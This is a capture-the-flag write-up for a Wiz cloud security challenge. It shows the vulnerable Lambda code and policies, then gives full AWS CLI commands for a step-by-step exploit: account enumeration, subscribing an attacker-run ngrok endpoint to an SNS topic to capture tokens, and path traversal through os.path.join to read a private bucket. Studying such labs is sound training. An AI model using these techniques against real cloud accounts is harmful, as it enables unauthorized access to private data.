Wiz The Ultimate Cloud Security Championship: Happy Birthday

Happy 20th Birthday, Amazon S3!
To celebrate this milestone, someone set up a birthday party website. Sign up with your email to receive a personalized party invitation.
Can you find the hidden present?
Start here: Wiz: Cloud Security Championship
Initial Enumeration
handler.py (Lambda function):
import hashlib
import hmac
import json
import os
import re
import time
import uuid
import boto3
s3 = boto3.client("s3")
sns = boto3.client("sns")
PRIVATE_BUCKET = os.environ.get("PRIVATE_BUCKET")
PUBLIC_BUCKET = os.environ.get("PUBLIC_BUCKET")
SNS_TOPIC_ARN = os.environ.get("SNS_TOPIC_ARN")
TOKEN_SECRET = os.environ.get("TOKEN_SECRET")
TOKEN_TTL = 3600 # 1 hour
ALLOWED_DOMAIN = "@cloudsecuritychampionship.com"
API_BASE_URL = os.environ.get("API_BASE_URL")
EMAIL_RE = re.compile(r"^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$")
SNS_TOPIC_NAME = SNS_TOPIC_ARN.split(":")[-1] if SNS_TOPIC_ARN else ""
## Generate token
def _make_token():
ts = str(int(time.time()))
sig = hmac.new(TOKEN_SECRET.encode(), ts.encode(), hashlib.sha256).hexdigest()[:16]
return f"{ts}:{sig}"
## Verify if the token provided is valid
def _verify_token(token):
try:
ts, sig = token.split(":", 1)
expected = hmac.new(
TOKEN_SECRET.encode(), ts.encode(), hashlib.sha256
).hexdigest()[:16]
if not hmac.compare_digest(sig, expected):
return False
if time.time() - int(ts) > TOKEN_TTL:
return False
return True
except Exception:
return False
## Template is user controlled a user with valid token can manipulate the template
## read template uses the provided template name to retrieve object from the private s3 bucket
def _read_template(template):
if ".." in template:
return None, "Invalid template name."
template_key = os.path.join("templates", f"{template}.txt")
try:
obj = s3.get_object(Bucket=PRIVATE_BUCKET, Key=template_key)
return obj["Body"].read().decode(), None
except Exception:
return None, "Template not found."
## Lambda Function handler function
def handler(event, context):
## event containing requestContext, is determined to come froom APIGateway
is_apigw = "requestContext" in event
## This flow will be used if the request is routed via apigateway
if is_apigw:
body = json.loads(event.get("body") or "{}")
resource_path = event.get("resource", "")
## Used to read template from private bucket and put in the public bucket
if resource_path == "/register":
token = body.get("token", "")
template = body.get("template", "default_balloon")
if not token or not _verify_token(token):
return _response(
403,
{
"status": "error",
"message": "Invalid or expired invitation token.",
},
)
content, err = _read_template(template)
if err:
return _response(400, {"status": "error", "message": err})
name = body.get("name", "Guest")
card_content = content.replace("{{name}}", name)
card_id = str(uuid.uuid4())
card_key = f"cards/{card_id}.html"
try:
s3.put_object(
Bucket=PUBLIC_BUCKET,
Key=card_key,
Body=card_content,
ContentType="text/html",
)
except Exception:
pass
card_url = f"https://{PUBLIC_BUCKET}.s3.amazonaws.com/{card_key}"
return _response(
200,
{
"status": "success",
"message": "Registration complete! Here is your birthday card.",
"card_url": card_url,
},
)
# /generate endpoint
## The email needs to end with @cloudsecuritychampionship.com and there is no way to bypass the regex
email = body.get("email", "")
if not email:
return _response(400, {"status": "error", "message": "Email is required."})
if not EMAIL_RE.match(email):
return _response(
400,
{"status": "error", "message": "Please enter a valid email address."},
)
## Exposes the SNS topic name
if not email.endswith(ALLOWED_DOMAIN):
return _response(
403,
{
"status": "error",
"message": (
f"Only {ALLOWED_DOMAIN} email addresses are eligible."
f" Invitations are delivered via the {SNS_TOPIC_NAME}"
f" notification channel."
),
},
)
## Add an email that satisfies the regex, as a subscriber to the SNS Topic
try:
sns.subscribe(
TopicArn=SNS_TOPIC_ARN,
Protocol="email",
Endpoint=email,
)
except Exception as e:
return _response(
500,
{"status": "error", "message": f"Failed to send invitation: {str(e)}"},
)
token = _make_token()
register_url = f"{API_BASE_URL}/register.html?token={token}"
## The topic will be published after a successfull email registration
## The sns topic publishes tokens and function name
try:
sns.publish(
TopicArn=SNS_TOPIC_ARN,
Subject="Your Birthday Party Invitation!",
Message=json.dumps(
{
"message": "You're invited to the S3 Birthday Party!",
"action": "Complete your registration to get your personalized birthday card.",
"registration_url": register_url,
"token": token,
"expires_in": "1 hour",
"generated_by": context.function_name,
}
),
)
except Exception:
pass
return _response(
200,
{
"status": "success",
"message": "Invitation sent! Check your email.",
},
)
# Direct invocation path: requires valid token
## Direct Lambda invocations will require token (if token is invalid the function will not be activated)
token = event.get("token", "")
## Manipulate to read objects from the private bucket
template = event.get("template", "default_balloon")
if not token or not _verify_token(token):
return {"status": "error", "message": "Invalid or expired invitation token."}
content, err = _read_template(template)
if err:
return {"status": "error", "message": err}
card_content = content.replace("{{name}}", event.get("name", "Friend"))
return {
"status": "success",
"data": {
"card_content": card_content,
},
}
def _response(status_code, body):
return {
"statusCode": status_code,
"headers": {
"Content-Type": "application/json",
"Access-Control-Allow-Origin": "*",
"Access-Control-Allow-Methods": "POST, OPTIONS",
"Access-Control-Allow-Headers": "Content-Type",
},
"body": json.dumps(body),
}Lambda(Execution policy):
Lambda is allowed to Getobjects from private bucket, Put objects in public bucket, and subscribe/publish to a sns topic (needs specific topic arn)
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::<private-bucket>/*"
},
{
"Effect": "Allow",
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::<public-bucket>/cards/*"
},
{
"Effect": "Allow",
"Action": [
"sns:Subscribe",
"sns:Publish"
],
"Resource": "arn:aws:sns:<region>:<account-id>:<topic-name>"
}
]
}Lambda(Resource policy):
Lambda can be invoked by any principal, it is possible that a cross account user can invoke the lambda function
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "lambda:InvokeFunction",
"Resource": "arn:aws:lambda:<region>:<account-id>:function:<function-name>"
}
]
}SNS(Resource policy):
A cross account user can perform subscribe action on the specified topic name.
The StringLike condition is loose, it only checks if the provided endpoint ends with @cloudsecuritychampionship.com
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowCompanySubscriptions",
"Effect": "Allow",
"Principal": "*",
"Action": "sns:Subscribe",
"Resource": "arn:aws:sns:<region>:<account-id>:<topic-name>",
"Condition": {
"StringLike": {
"sns:Endpoint": "*@cloudsecuritychampionship.com"
}
}
}
]
}Data Exfiltration:
- We now know that we can subscribe to the SNS topic directly
- To subscribe to a topic we need a full
TopicArn, this means we have to build theTopicArn
SNS Topic Name:
- We know that the error message leaks the
topicname - The error message leaks the Topic name
BirthdayPartyInvites

Account ID:
- The website is hosted on S3 bucket and is being fronted by
CloudFront - The metadata contains the name of the public S3 bucket,
wiz-birthday-s3-party - We can enumerate
AccountIDby leveragings3:ResourceAccountpolicy condition - After successfully creating the prerequisite role and user, we were able to deduce
AccountIDfrom the S3 bucket.- Note → It is visible that the bucket itself is not accessible publicly only it objects are, so we need to identify objects that have public access enabled.
- I used two known objects to identify and verify the objects are publicly available.
- The
AccountIDis370540381921





Region:
- A post request is made to and API endpoint, the endpoint url contains the api identifier and region
https://gzk65xqjn8.execute-api.us-east-1.amazonaws.com/prod/generate - The region is
us-east-1

Subscribing to the SNS Topic:
-
We can deduce a full
TopicARNwith all our enumerations of public services. -
TopicARN→ arn:aws:sns:us-east-1:370540381921:BirthdayPartyInvites-
I was able to verify the
TopicARNaws sns subscribe --topic-arn "arn:aws:sns:us-east-1:370540381921:BirthdayPartyInvites" --protocol email --notification-endpoint arbazij@cloudsecuritychampionship.com
-
-
My first though was to add my email as a subscriber to the topic, however this is not possible as the condition checks if the email ends with
@cloudsecuritychampionship.comand there is no way to bypass the condition. -
However, there 9 kind of protocol that can be used to subscribe to an sns topic. As the condition doesn’t verify the protocol being used to subscribe to the topic we can try to create a HTTP/HTTPS endpoint that can subscribe to the topic.
-
Pre-requisites:
- A HTTP/HTTPS service that can be accessed via the internet and can adhere to the HTTP/HTTPS subscriber standard for SNS.
HTTP Subscriber
- The endpoint for the HTTP/HTTPS service should end with
@cloudsecuritychampionship.comto satisfy the conditional check in the resource policy.
-
I am using ngrok, for publicly exposing the HTTPS service so that the SNS Topic can reachout to my service.
import json import requests from flask import Flask, request, jsonify app = Flask(__name__) @app.route('/arbaazzzz@cloudsecuritychampionship.com', methods=['POST']) def sns_webhook(): """Handle incoming SNS messages.""" # Parse the raw request body try: message = json.loads(request.data) except json.JSONDecodeError: return 'Invalid JSON', 400 message_type = request.headers.get('x-amz-sns-message-type') if message_type == 'SubscriptionConfirmation': # Confirm the subscription by visiting the URL subscribe_url = message.get('SubscribeURL') if subscribe_url: response = requests.get(subscribe_url) print(f'Subscription confirmed: {response.status_code}') return 'Confirmed', 200 elif message_type == 'Notification': # Process the actual message subject = message.get('Subject', '') body = message.get('Message', '') try: payload = json.loads(body) except json.JSONDecodeError: payload = {'text': body} print(f'Notification received - Subject: {subject}') process_notification(payload) return 'OK', 200 elif message_type == 'UnsubscribeConfirmation': print('Unsubscribe confirmed') return 'OK', 200 return 'Unknown message type', 400 def process_notification(payload): """Your business logic here.""" print(f'Processing: {payload}') if __name__ == '__main__': app.run(port=80) -
Start the service, and use ngrok to route requests to http://loclhost:80


-
Now all that’s left is to add the HTTPS service as a subscriber to the SNS topic.
aws sns subscribe --topic-arn "arn:aws:sns:us-east-1:370540381921:BirthdayPartyInvites" --protocol https --notif ication-endpoint https://9915-162-238-249-9.ngrok-free.app/arbaazzzz@cloudsecuritychampionship.comSuccessful Registration:

-
After confirming the subscription we can just trigger a valid workflow by using a mail that meets the
@cloudsecuritychampionship.comcondition defined in lambda function.



-
We get the Message, as the message is published to every subscriber of the SNS Topic.
{ 'message': "You're invited to the S3 Birthday Party!", 'action': 'Complete your registration to get your personalized birthday card.', 'registration_url': 'https://happybirthday.cloudsecuritychampionship.com/register.html?token=1775228463:87529c2e6f4f2dce', 'token': '1775228463:87529c2e6f4f2dce', 'expires_in': '1 hour', 'generated_by': 'GenerateBirthdayCard' } -
Now we have the lambda function name and a token, we can use it to directly invoke the lambda function.
- Token →
1775228463:87529c2e6f4f2dce(expires in 1 hour) - Function name →
GenerateBirthdayCard
- Token →
Invoking Lambda Function:
-
AWS Lambda
-
The ARN for lambda function → arn:aws:lambda:us-east-1:370540381921:function:GenerateBirthdayCard
-
Payload we need to send to successfully meet the lambda function requirements
{"token":"1775228463:87529c2e6f4f2dce", "template":"default_balloon", "name":"Arbaaz"} -
We can retrieve objects from private bucket using direct lambda invocation:
aws lambda invoke --function-name arn:aws:lambda:us-east-1:370540381921:function:GenerateBirthdayCard --cli-binary raw-in-base64-out --payload '{"token":"1775228463:87529c2e6f4f2dce", "template":"default_balloon", "name":"Arbaaz"}' default_template.json

-
To retrieve the flag:
-
The first approach was to use try to retrieve
flag.txtformtemplateshowever, there is no object such astemplate/flag.txtaws lambda invoke --function-name arn:aws:lambda:us-east-1:370540381921:function:GenerateBirthdayCard --cli-binary raw-in-base64-out --payload '{"token":"1775228463:87529c2e6f4f2dce", "template":"flag", "name":"Arbaaz"}' template_flag.json- The template_key will be
/template/flag.txt

- The template_key will be
-
We can see that the key is being constructed with
os.path.join,Geeks For Geeks
-
If we provide
"/"in template it is treated as an absolute path, which resets the previous components in this case it will disregard template. As a result, only"/"remains in the output. -
Using this we can check for flag at the root of the bucket, by using
template=/flagwhich means the object will betemplate_key=flag.txt, giving us our flagaws lambda invoke --function-name arn:aws:lambda:us-east-1:370540381921:function:GenerateBirthdayCard --cli-binary raw-in-base64-out --payload '{"token":"1775228463:87529c2e6f4f2dce", "template ":"/flag", "name":"Arbaaz"}' s3_flag.json
-
